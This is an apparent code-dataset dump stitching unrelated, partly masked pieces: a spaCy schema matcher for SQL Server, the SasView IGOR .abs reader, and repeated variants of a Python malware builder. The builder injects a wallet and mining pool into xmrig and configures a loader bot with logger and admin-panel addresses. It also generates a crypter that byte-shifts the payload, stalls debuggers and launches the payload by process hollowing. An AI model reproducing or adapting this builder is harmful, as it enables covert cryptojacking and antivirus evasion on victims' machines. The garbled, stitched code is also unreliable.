matcher.add(entity.name.upper() + '_TABLE', nlp(entity.name.
lower()))
for column in entity.columns:
matcher.add(column.name.upper() + '_COLUMN', nlp(column.
name.lower()))
for synonym in self.synonyms_tab:
for entity in self.entities:
if synonym.column.lower() == entity.name.lower():
matcher.add(entity.name.upper() + '_TABLE', nlp(synonym
.synonym.lower()))
for synonym in self.synonyms_col:
for column in self.columns:
if synonym.column.lower() == column.name.lower():
matcher.add(column.name.upper() + '_COLUMN', nlp(
synonym.synonym.lower()))
return matcher
| <mask token>
class DBModel(object):
def __init__(self):
self.entities = []
self.columns = []
self.relationships = []
self.synonyms_col = []
self.synonyms_tab = []
self.entity_graph = []
self.loaded_entities = []
self.config = Configuration()
self.conn = pyodbc.connect(self.config.get_sql_connection_string())
lookups = Lookups()
self.lemmatizer = Lemmatizer(lookups)
self.load_db_model()
def load_db_model(self):
cursor = self.conn.cursor()
cursor.execute(self.config.get_tables_sql_query())
for row in cursor:
self.entities.append(Entities(row.table_name, self.config.
get_default_column(row.table_name)))
cursor.execute(self.config.get_columns_sql_query())
current_entity = None
current_entity_name = ''
for row in cursor:
if current_entity_name != row.table_name:
current_entity_name = row.table_name
current_entity = next(en for en in self.entities if en.name ==
current_entity_name)
col_type = row.type_name
if col_type == 'varchar' or col_type == 'nvarchar':
col_type = 'string'
current_entity.columns.append(Columns(row.column_name, col_type))
current_entity = None
current_entity_name = ''
cursor.execute(self.config.get_FK_sql_query())
for row in cursor:
self.relationships.append(Relationship(row.parent_table, row.
refrenced_table, row.parent_table_col, row.
referenced_table_col))
if len([en for en in self.entity_graph if en[0] == row.
parent_table]) > 0:
current_entity = next(en for en in self.entity_graph if en[
0] == row.parent_table)
current_entity[1].append(row.refrenced_table)
else:
self.entity_graph.append((row.parent_table, [row.
refrenced_table]))
if len([en for en in self.entity_graph if en[0] == row.
refrenced_table]) > 0:
current_entity = next(en for en in self.entity_graph if en[
0] == row.refrenced_table)
current_entity[1].append(row.parent_table)
else:
self.entity_graph.append((row.refrenced_table, [row.
parent_table]))
current_entity = None
current_entity_name = ''
cursor.execute(self.config.get_PK_sql_query())
for row in cursor:
if len([en for en in self.entity_graph if en[0] == row.table_name]
) == 1:
current_entity = next(en for en in self.entities if en.name ==
row.table_name)
current_entity.primaryKey = row.primary_key
for entity_to_load in self.config.get_entitites_to_load():
entity_load_query = 'select distinct ' + entity_to_load['column'
] + ' from ' + entity_to_load['entity']
cursor.execute(entity_load_query)
entity_data = entity_to_load['entity'], []
for row in cursor:
entity_data[1].append(row[0])
lemmas = self.lemmatizer(str(row[0]), u'NOUN')
for lemma in lemmas:
entity_data[1].append(str(lemma))
self.loaded_entities.append(entity_data)
for table_synonym in self.config.get_synonyms()['table']:
orginal_val = table_synonym['original']
synonyms_vals = table_synonym['synonyms']
for synonyms_val in synonyms_vals:
self.synonyms_tab.append(Synonyms(orginal_val, synonyms_val))
for column_synonym in self.config.get_synonyms()['column']:
orginal_val = column_synonym['original']
synonyms_vals = column_synonym['synonyms']
for synonyms_val in synonyms_vals:
self.synonyms_col.append(Synonyms(orginal_val, synonyms_val))
self.columns = [column for entity in self.entities for column in
entity.columns]
def get_matcher(self, matcher, nlp):
for entity in self.entities:
matcher.add(entity.name.upper() + '_TABLE', None, nlp(entity.
name.lower()))
for column in entity.columns:
matcher.add(column.name.upper() + '_COLUMN', None, nlp(
column.name.lower()))
for synonym in self.synonyms_tab:
for entity in self.entities:
if synonym.column.lower() == entity.name.lower():
matcher.add(entity.name.upper() + '_TABLE', None, nlp(
synonym.synonym.lower()))
for synonym in self.synonyms_col:
for column in self.columns:
if synonym.column.lower() == column.name.lower():
matcher.add(column.name.upper() + '_COLUMN', None, nlp(
synonym.synonym.lower()))
return matcher
def get_custom_matcher(self, matcher, nlp):
for entity in self.entities:
matcher.add(entity.name.upper() + '_TABLE', nlp(entity.name.
lower()))
for column in entity.columns:
matcher.add(column.name.upper() + '_COLUMN', nlp(column.
name.lower()))
for synonym in self.synonyms_tab:
for entity in self.entities:
if synonym.column.lower() == entity.name.lower():
matcher.add(entity.name.upper() + '_TABLE', nlp(synonym
.synonym.lower()))
for synonym in self.synonyms_col:
for column in self.columns:
if synonym.column.lower() == column.name.lower():
matcher.add(column.name.upper() + '_COLUMN', nlp(
synonym.synonym.lower()))
return matcher
| import pyodbc
from configuration.config import Configuration
from models.entities import Entities
from models.columns import Columns
from models.relationships import Relationship
from models.synonyms import Synonyms
from spacy.lemmatizer import Lemmatizer
from spacy.lookups import Lookups
class DBModel(object):
def __init__(self):
self.entities = []
self.columns = []
self.relationships = []
self.synonyms_col = []
self.synonyms_tab = []
self.entity_graph = []
self.loaded_entities = []
self.config = Configuration()
self.conn = pyodbc.connect(self.config.get_sql_connection_string())
lookups = Lookups()
self.lemmatizer = Lemmatizer(lookups)
self.load_db_model()
def load_db_model(self):
# loading the database from sql server
cursor = self.conn.cursor()
cursor.execute(self.config.get_tables_sql_query())
for row in cursor:
self.entities.append(Entities(row.table_name, self.config.get_default_column(row.table_name)))
cursor.execute(self.config.get_columns_sql_query())
current_entity = None
current_entity_name = ""
for row in cursor:
if current_entity_name != row.table_name:
current_entity_name = row.table_name
current_entity = next(en for en in self.entities if en.name == current_entity_name)
col_type = row.type_name
if col_type == "varchar" or col_type == "nvarchar":
col_type = "string"
current_entity.columns.append(Columns(row.column_name, col_type))
current_entity = None
current_entity_name = ""
cursor.execute(self.config.get_FK_sql_query())
for row in cursor:
self.relationships.append(Relationship(row.parent_table, row.refrenced_table, row.parent_table_col, row.referenced_table_col))
if len([en for en in self.entity_graph if en[0] == row.parent_table]) > 0:
current_entity = next(en for en in self.entity_graph if en[0] == row.parent_table)
current_entity[1].append(row.refrenced_table)
else:
self.entity_graph.append((row.parent_table, [row.refrenced_table]))
if len([en for en in self.entity_graph if en[0] == row.refrenced_table]) > 0:
current_entity = next(en for en in self.entity_graph if en[0] == row.refrenced_table)
current_entity[1].append(row.parent_table)
else:
self.entity_graph.append((row.refrenced_table, [row.parent_table]))
current_entity = None
current_entity_name = ""
cursor.execute(self.config.get_PK_sql_query())
for row in cursor:
if len([en for en in self.entity_graph if en[0] == row.table_name]) == 1:
current_entity = next(en for en in self.entities if en.name == row.table_name)
current_entity.primaryKey = row.primary_key
for entity_to_load in self.config.get_entitites_to_load():
entity_load_query = "select distinct " + entity_to_load["column"] + " from " + entity_to_load["entity"]
cursor.execute(entity_load_query)
entity_data = (entity_to_load["entity"], [])
for row in cursor:
entity_data[1].append(row[0])
# add lemma strings
lemmas = self.lemmatizer(str(row[0]), u'NOUN')
for lemma in lemmas:
entity_data[1].append(str(lemma))
self.loaded_entities.append(entity_data)
# load synonyms from declarative file
# table sysnonyms
for table_synonym in self.config.get_synonyms()["table"]:
orginal_val = table_synonym["original"]
synonyms_vals = table_synonym["synonyms"]
for synonyms_val in synonyms_vals:
self.synonyms_tab.append(Synonyms(orginal_val, synonyms_val))
# column sysnonyms
for column_synonym in self.config.get_synonyms()["column"]:
orginal_val = column_synonym["original"]
synonyms_vals = column_synonym["synonyms"]
for synonyms_val in synonyms_vals:
self.synonyms_col.append(Synonyms(orginal_val, synonyms_val))
# make a single array
self.columns = [column for entity in self.entities for column in entity.columns]
# might have to write a custom matcher TODO
# build the matcher based upon the original value and domain synonyms defined
def get_matcher(self, matcher, nlp):
for entity in self.entities:
matcher.add(entity.name.upper() + "_TABLE", None, nlp(entity.name.lower()))
for column in entity.columns:
matcher.add(column.name.upper() + "_COLUMN", None, nlp(column.name.lower()))
# add table synonyms to matcher
for synonym in self.synonyms_tab:
for entity in self.entities:
if synonym.column.lower() == entity.name.lower():
matcher.add(entity.name.upper() + "_TABLE", None, nlp(synonym.synonym.lower()))
# add column synonyms to matcher
for synonym in self.synonyms_col:
for column in self.columns:
if synonym.column.lower() == column.name.lower():
matcher.add(column.name.upper() + "_COLUMN", None, nlp(synonym.synonym.lower()))
return matcher
def get_custom_matcher(self, matcher, nlp):
for entity in self.entities:
matcher.add(entity.name.upper() + "_TABLE", nlp(entity.name.lower()))
for column in entity.columns:
matcher.add(column.name.upper() + "_COLUMN", nlp(column.name.lower()))
# add table synonyms to matcher
for synonym in self.synonyms_tab:
for entity in self.entities:
if synonym.column.lower() == entity.name.lower():
matcher.add(entity.name.upper() + "_TABLE", nlp(synonym.synonym.lower()))
# add column synonyms to matcher
for synonym in self.synonyms_col:
for column in self.columns:
if synonym.column.lower() == column.name.lower():
matcher.add(column.name.upper() + "_COLUMN", nlp(synonym.synonym.lower()))
return matcher
| [
1,
2,
4,
5,
7
] |
9,937 | 3cdb39e201983e672f6c22c25492a120be3d0d48 | """
"""
#####################################################################
#This software was developed by the University of Tennessee as part of the
#Distributed Data Analysis of Neutron Scattering Experiments (DANSE)
#project funded by the US National Science Foundation.
#See the license text in license.txt
#copyright 2008, University of Tennessee
######################################################################
import numpy as np
import os
from sas.sascalc.dataloader.data_info import Data1D
from sas.sascalc.dataloader.data_info import Detector
has_converter = True
try:
from sas.sascalc.data_util.nxsunit import Converter
except:
has_converter = False
class Reader:
"""
Class to load IGOR reduced .ABS files
"""
## File type
type_name = "IGOR 1D"
## Wildcards
type = ["IGOR 1D files (*.abs)|*.abs"]
## List of allowed extensions
ext = ['.abs', '.ABS']
def read(self, path):
"""
Load data file.
:param path: file path
:return: Data1D object, or None
:raise RuntimeError: when the file can't be opened
:raise ValueError: when the length of the data vectors are inconsistent
"""
if os.path.isfile(path):
basename = os.path.basename(path)
root, extension = os.path.splitext(basename)
if extension.lower() in self.ext:
try:
input_f = open(path,'r')
except:
raise RuntimeError, "abs_reader: cannot open %s" % path
buff = input_f.read()
lines = buff.split('\n')
x = np.zeros(0)
y = np.zeros(0)
dy = np.zeros(0)
dx = np.zeros(0)
output = Data1D(x, y, dy=dy, dx=dx)
detector = Detector()
output.detector.append(detector)
output.filename = basename
is_info = False
is_center = False
is_data_started = False
data_conv_q = None
data_conv_i = None
if has_converter == True and output.x_unit != '1/A':
data_conv_q = Converter('1/A')
# Test it
data_conv_q(1.0, output.x_unit)
if has_converter == True and output.y_unit != '1/cm':
data_conv_i = Converter('1/cm')
# Test it
data_conv_i(1.0, output.y_unit)
for line in lines:
# Information line 1
if is_info == True:
is_info = False
line_toks = line.split()
# Wavelength in Angstrom
try:
value = float(line_toks[1])
if has_converter == True and \
output.source.wavelength_unit != 'A':
conv = Converter('A')
output.source.wavelength = conv(value,
units=output.source.wavelength_unit)
else:
output.source.wavelength = value
except:
#goes to ASC reader
msg = "abs_reader: cannot open %s" % path
raise RuntimeError, msg
# Distance in meters
try:
value = float(line_toks[3])
if has_converter == True and \
detector.distance_unit != 'm':
conv = Converter('m')
detector.distance = conv(value,
units=detector.distance_unit)
else:
detector.distance = value
except:
#goes to ASC reader
msg = "abs_reader: cannot open %s" % path
raise RuntimeError, msg
# Transmission
try:
output.sample.transmission = float(line_toks[4])
except:
# Transmission is not a mandatory entry
pass
# Thickness in mm
try:
value = float(line_toks[5])
if has_converter == True and \
output.sample.thickness_unit != 'cm':
conv = Converter('cm')
output.sample.thickness = conv(value,
units=output.sample.thickness_unit)
else:
output.sample.thickness = value
except:
# Thickness is not a mandatory entry
pass
#MON CNT LAMBDA DET ANG DET DIST TRANS THICK
# AVE STEP
if line.count("LAMBDA") > 0:
is_info = True
# Find center info line
if is_center == True:
is_center = False
line_toks = line.split()
# Center in bin number
center_x = float(line_toks[0])
center_y = float(line_toks[1])
# Bin size
if has_converter == True and \
detector.pixel_size_unit != 'mm':
conv = Converter('mm')
detector.pixel_size.x = conv(5.0,
units=detector.pixel_size_unit)
detector.pixel_size.y = conv(5.0,
units=detector.pixel_size_unit)
else:
detector.pixel_size.x = 5.0
detector.pixel_size.y = 5.0
# Store beam center in distance units
# Det 640 x 640 mm
if has_converter == True and \
detector.beam_center_unit != 'mm':
conv = Converter('mm')
detector.beam_center.x = conv(center_x * 5.0,
units=detector.beam_center_unit)
detector.beam_center.y = conv(center_y * 5.0,
units=detector.beam_center_unit)
else:
detector.beam_center.x = center_x * 5.0
detector.beam_center.y = center_y * 5.0
# Detector type
try:
detector.name = line_toks[7]
except:
# Detector name is not a mandatory entry
pass
#BCENT(X,Y) A1(mm) A2(mm) A1A2DIST(m) DL/L
# BSTOP(mm) DET_TYP
if line.count("BCENT") > 0:
is_center = True
# Parse the data
if is_data_started == True:
toks = line.split()
try:
_x = float(toks[0])
_y = float(toks[1])
_dy = float(toks[2])
_dx = float(toks[3])
if data_conv_q is not None:
_x = data_conv_q(_x, units=output.x_unit)
_dx = data_conv_i(_dx, units=output.x_unit)
if data_conv_i is not None:
_y = data_conv_i(_y, units=output.y_unit)
_dy = data_conv_i(_dy, units=output.y_unit)
x = np.append(x, _x)
y = np.append(y, _y)
dy = np.append(dy, _dy)
dx = np.append(dx, _dx)
except:
# Could not read this data line. If we are here
# it is because we are in the data section. Just
# skip it.
pass
#The 6 columns are | Q (1/A) | I(Q) (1/cm) | std. dev.
# I(Q) (1/cm) | sigmaQ | meanQ | ShadowFactor|
if line.count("The 6 columns") > 0:
is_data_started = True
# Sanity check
if not len(y) == len(dy):
msg = "abs_reader: y and dy have different length"
raise ValueError, msg
# If the data length is zero, consider this as
# though we were not able to read the file.
if len(x) == 0:
raise ValueError, "ascii_reader: could not load file"
output.x = x[x != 0]
output.y = y[x != 0]
output.dy = dy[x != 0]
output.dx = dx[x != 0]
if data_conv_q is not None:
output.xaxis("\\rm{Q}", output.x_unit)
else:
output.xaxis("\\rm{Q}", 'A^{-1}')
if data_conv_i is not None:
output.yaxis("\\rm{Intensity}", output.y_unit)
else:
output.yaxis("\\rm{Intensity}", "cm^{-1}")
# Store loading process information
output.meta_data['loader'] = self.type_name
return output
else:
raise RuntimeError, "%s is not a file" % path
return None
| null | null | null | null | [
0
] |
9,938 | d1254e558217cce88de2f83b87d5c54333f1c677 | <mask token>
def load_userdata(wallet, pool, ww, logger, adminka):
with open('D:\\msys64\\xmrig-master\\src\\ex.cpp', 'r') as f:
file = f.read()
file = file.replace('%u%', wallet)
file = file.replace('%p%', pool)
file = file.replace('%w%', ww)
with open('D:\\msys64\\xmrig-master\\src\\xmrig.cpp', 'w') as w:
w.write(file)
with open(os.getcwd() + '\\Bot\\Miner\\ex.cs', 'r') as f:
file = f.read()
file = file.replace('%l%', logger)
file = file.replace('%a%', adminka)
with open(os.getcwd() + '\\Bot\\Miner\\Program.cs', 'w') as w:
w.write(file)
def writeBytes(key):
with open(os.getcwd() + '\\file.txt', 'r') as f:
file = f.read()
with open(os.getcwd() + '\\Miner\\CryptRunPe\\winhost.cpp', 'w') as w:
w.write(
"""#include <stdafx.h>
#include "process.h"
#include "memrun.h"
using namespace std;
"""
)
with open('ex.txt') as ex:
w.write(file)
exx = ex.read()
w.write(exx)
def compile(path, file):
os.system(
'%windir%\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe "' +
path + file + '.sln" /p:Configuration=Release')
def compileM(path, file):
os.system('msbuild.exe "' + path + file + '.sln" /p:Configuration=Release')
def compileR(path, file):
os.system('msbuild.exe "' + path + file +
'.sln" /p:Configuration=Release /p:Platform="WIN32"')
def xcopy(path, out):
try:
with open(path, 'rb') as f:
file = f.read()
with open(out, 'wb') as w:
w.write(bytearray(file))
except:
pass
def crypt(name, key):
with open('encoder.cpp', 'w') as w:
txt = """
#include <Windows.h>
#include <winternl.h>
#include <iostream>
#include <string>
#include <fstream>
using namespace std;
int main()
{
FILE * file = fopen("in.exe", "rb");
if (file == NULL) return 0;
fseek(file, 0, SEEK_END);
long int size = ftell(file);
fclose(file);
file = fopen("in.exe", "rb");
unsigned char * in = (unsigned char *)malloc(size);
int bytes_read = fread(in, sizeof(unsigned char), size, file);
fclose(file);
for (int i = 0; i < size; i++) {
in[i] = in[i] - 0x0%n%;
}
file = fopen("out.exe", "wb");
int bytes_written = fwrite(in, sizeof(unsigned char), size, file);
fclose(file);
for (int i = 0; i < size; i++) {
in[i] = in[i] + 0x0%n%;
}
file = fopen("decr.exe", "wb");
bytes_written = fwrite(in, sizeof(unsigned char), size, file);
fclose(file);
return 0;
}
"""
txt = txt.replace('%n%', str(key))
w.write(txt)
os.system('g++ -o enc encoder.cpp')
os.system('C:\\Python27\\python.exe cv.py')
with open('file.txt', 'r') as r:
with open(os.getcwd() + '\\src\\crypter\\crypter.cpp', 'w') as w:
txt = """ #include "stdafx.h"
#include "Crypter.h"
#include <windows.h>
#include <winternl.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"ntdll.lib")
""" + r.read() + """ int RunPortableExecutable(void* Image) {
IMAGE_DOS_HEADER* DOSHeader;
IMAGE_NT_HEADERS* NtHeader;
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase;
void* pImageBase;
int count;
char buffer[MAX_PATH];
GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);
char *CurrentFilePath = buffer;
DOSHeader = PIMAGE_DOS_HEADER(Image);
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {
ZeroMemory(&PI, sizeof(PI));
ZeroMemory(&SI, sizeof(SI));
typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
NtUnmapViewOfSection mNtUnmapViewOfSection;
if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {
CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
return 0;
}
}
}
}
int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {
for (int i = 0; i < 550000; i++)
OutputDebugStringW(L"");
for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {
unsigned char b = rawData[i] + 0x0%n%;
rawData[i] = b;
}
Sleep(((rand() % 5 + 1) + 5) * 1000);
RunPortableExecutable(rawData);
return 0;
} """
txt = txt.replace('%n%', str(key))
w.write(txt)
compileM(os.getcwd() + '\\src\\', 'ConsoleApplication1')
xcopy(os.getcwd() + '\\src\\Release\\Crypter.exe', os.getcwd() +
'\\' + name + '.exe')
<mask token>
| <mask token>
def load_userdata(wallet, pool, ww, logger, adminka):
with open('D:\\msys64\\xmrig-master\\src\\ex.cpp', 'r') as f:
file = f.read()
file = file.replace('%u%', wallet)
file = file.replace('%p%', pool)
file = file.replace('%w%', ww)
with open('D:\\msys64\\xmrig-master\\src\\xmrig.cpp', 'w') as w:
w.write(file)
with open(os.getcwd() + '\\Bot\\Miner\\ex.cs', 'r') as f:
file = f.read()
file = file.replace('%l%', logger)
file = file.replace('%a%', adminka)
with open(os.getcwd() + '\\Bot\\Miner\\Program.cs', 'w') as w:
w.write(file)
def writeBytes(key):
with open(os.getcwd() + '\\file.txt', 'r') as f:
file = f.read()
with open(os.getcwd() + '\\Miner\\CryptRunPe\\winhost.cpp', 'w') as w:
w.write(
"""#include <stdafx.h>
#include "process.h"
#include "memrun.h"
using namespace std;
"""
)
with open('ex.txt') as ex:
w.write(file)
exx = ex.read()
w.write(exx)
def compile(path, file):
os.system(
'%windir%\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe "' +
path + file + '.sln" /p:Configuration=Release')
def compileM(path, file):
os.system('msbuild.exe "' + path + file + '.sln" /p:Configuration=Release')
def compileR(path, file):
os.system('msbuild.exe "' + path + file +
'.sln" /p:Configuration=Release /p:Platform="WIN32"')
def xcopy(path, out):
try:
with open(path, 'rb') as f:
file = f.read()
with open(out, 'wb') as w:
w.write(bytearray(file))
except:
pass
def crypt(name, key):
with open('encoder.cpp', 'w') as w:
txt = """
#include <Windows.h>
#include <winternl.h>
#include <iostream>
#include <string>
#include <fstream>
using namespace std;
int main()
{
FILE * file = fopen("in.exe", "rb");
if (file == NULL) return 0;
fseek(file, 0, SEEK_END);
long int size = ftell(file);
fclose(file);
file = fopen("in.exe", "rb");
unsigned char * in = (unsigned char *)malloc(size);
int bytes_read = fread(in, sizeof(unsigned char), size, file);
fclose(file);
for (int i = 0; i < size; i++) {
in[i] = in[i] - 0x0%n%;
}
file = fopen("out.exe", "wb");
int bytes_written = fwrite(in, sizeof(unsigned char), size, file);
fclose(file);
for (int i = 0; i < size; i++) {
in[i] = in[i] + 0x0%n%;
}
file = fopen("decr.exe", "wb");
bytes_written = fwrite(in, sizeof(unsigned char), size, file);
fclose(file);
return 0;
}
"""
txt = txt.replace('%n%', str(key))
w.write(txt)
os.system('g++ -o enc encoder.cpp')
os.system('C:\\Python27\\python.exe cv.py')
with open('file.txt', 'r') as r:
with open(os.getcwd() + '\\src\\crypter\\crypter.cpp', 'w') as w:
txt = """ #include "stdafx.h"
#include "Crypter.h"
#include <windows.h>
#include <winternl.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"ntdll.lib")
""" + r.read() + """ int RunPortableExecutable(void* Image) {
IMAGE_DOS_HEADER* DOSHeader;
IMAGE_NT_HEADERS* NtHeader;
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase;
void* pImageBase;
int count;
char buffer[MAX_PATH];
GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);
char *CurrentFilePath = buffer;
DOSHeader = PIMAGE_DOS_HEADER(Image);
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {
ZeroMemory(&PI, sizeof(PI));
ZeroMemory(&SI, sizeof(SI));
typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
NtUnmapViewOfSection mNtUnmapViewOfSection;
if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {
CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
return 0;
}
}
}
}
int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {
for (int i = 0; i < 550000; i++)
OutputDebugStringW(L"");
for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {
unsigned char b = rawData[i] + 0x0%n%;
rawData[i] = b;
}
Sleep(((rand() % 5 + 1) + 5) * 1000);
RunPortableExecutable(rawData);
return 0;
} """
txt = txt.replace('%n%', str(key))
w.write(txt)
compileM(os.getcwd() + '\\src\\', 'ConsoleApplication1')
xcopy(os.getcwd() + '\\src\\Release\\Crypter.exe', os.getcwd() +
'\\' + name + '.exe')
<mask token>
load_userdata(u, p, w, l, a)
compile(os.getcwd() + '\\Bot\\', 'LoaderBot')
xcopy(os.getcwd() + '\\Bot\\Miner\\bin\\Release\\LoaderBot.exe', 'Bot.exe')
compileR(os.getcwd() + '\\rig\\', 'xmrig')
xcopy(os.getcwd() + '\\rig\\Release\\xmrig.exe', 'out.exe')
crypt('test', key)
os.system('C:\\Python27\\python.exe cv.py')
writeBytes(key)
compileM(os.getcwd() + '\\Miner\\', 'winhost')
xcopy(os.getcwd() + '\\Miner\\Release\\winhost.exe', 'in.exe')
print(os.getcwd() + '\\enc.exe')
subprocess.call(os.getcwd() + '\\enc.exe')
crypt('winhost', key)
os.system('del file.txt')
os.system('del in.exe')
os.system('del out.exe')
os.system('del decr.exe')
os.system('del enc.exe')
os.system('del test.exe')
| <mask token>
def load_userdata(wallet, pool, ww, logger, adminka):
with open('D:\\msys64\\xmrig-master\\src\\ex.cpp', 'r') as f:
file = f.read()
file = file.replace('%u%', wallet)
file = file.replace('%p%', pool)
file = file.replace('%w%', ww)
with open('D:\\msys64\\xmrig-master\\src\\xmrig.cpp', 'w') as w:
w.write(file)
with open(os.getcwd() + '\\Bot\\Miner\\ex.cs', 'r') as f:
file = f.read()
file = file.replace('%l%', logger)
file = file.replace('%a%', adminka)
with open(os.getcwd() + '\\Bot\\Miner\\Program.cs', 'w') as w:
w.write(file)
def writeBytes(key):
with open(os.getcwd() + '\\file.txt', 'r') as f:
file = f.read()
with open(os.getcwd() + '\\Miner\\CryptRunPe\\winhost.cpp', 'w') as w:
w.write(
"""#include <stdafx.h>
#include "process.h"
#include "memrun.h"
using namespace std;
"""
)
with open('ex.txt') as ex:
w.write(file)
exx = ex.read()
w.write(exx)
def compile(path, file):
os.system(
'%windir%\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe "' +
path + file + '.sln" /p:Configuration=Release')
def compileM(path, file):
os.system('msbuild.exe "' + path + file + '.sln" /p:Configuration=Release')
def compileR(path, file):
os.system('msbuild.exe "' + path + file +
'.sln" /p:Configuration=Release /p:Platform="WIN32"')
def xcopy(path, out):
try:
with open(path, 'rb') as f:
file = f.read()
with open(out, 'wb') as w:
w.write(bytearray(file))
except:
pass
def crypt(name, key):
with open('encoder.cpp', 'w') as w:
txt = """
#include <Windows.h>
#include <winternl.h>
#include <iostream>
#include <string>
#include <fstream>
using namespace std;
int main()
{
FILE * file = fopen("in.exe", "rb");
if (file == NULL) return 0;
fseek(file, 0, SEEK_END);
long int size = ftell(file);
fclose(file);
file = fopen("in.exe", "rb");
unsigned char * in = (unsigned char *)malloc(size);
int bytes_read = fread(in, sizeof(unsigned char), size, file);
fclose(file);
for (int i = 0; i < size; i++) {
in[i] = in[i] - 0x0%n%;
}
file = fopen("out.exe", "wb");
int bytes_written = fwrite(in, sizeof(unsigned char), size, file);
fclose(file);
for (int i = 0; i < size; i++) {
in[i] = in[i] + 0x0%n%;
}
file = fopen("decr.exe", "wb");
bytes_written = fwrite(in, sizeof(unsigned char), size, file);
fclose(file);
return 0;
}
"""
txt = txt.replace('%n%', str(key))
w.write(txt)
os.system('g++ -o enc encoder.cpp')
os.system('C:\\Python27\\python.exe cv.py')
with open('file.txt', 'r') as r:
with open(os.getcwd() + '\\src\\crypter\\crypter.cpp', 'w') as w:
txt = """ #include "stdafx.h"
#include "Crypter.h"
#include <windows.h>
#include <winternl.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"ntdll.lib")
""" + r.read() + """ int RunPortableExecutable(void* Image) {
IMAGE_DOS_HEADER* DOSHeader;
IMAGE_NT_HEADERS* NtHeader;
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase;
void* pImageBase;
int count;
char buffer[MAX_PATH];
GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);
char *CurrentFilePath = buffer;
DOSHeader = PIMAGE_DOS_HEADER(Image);
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {
ZeroMemory(&PI, sizeof(PI));
ZeroMemory(&SI, sizeof(SI));
typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
NtUnmapViewOfSection mNtUnmapViewOfSection;
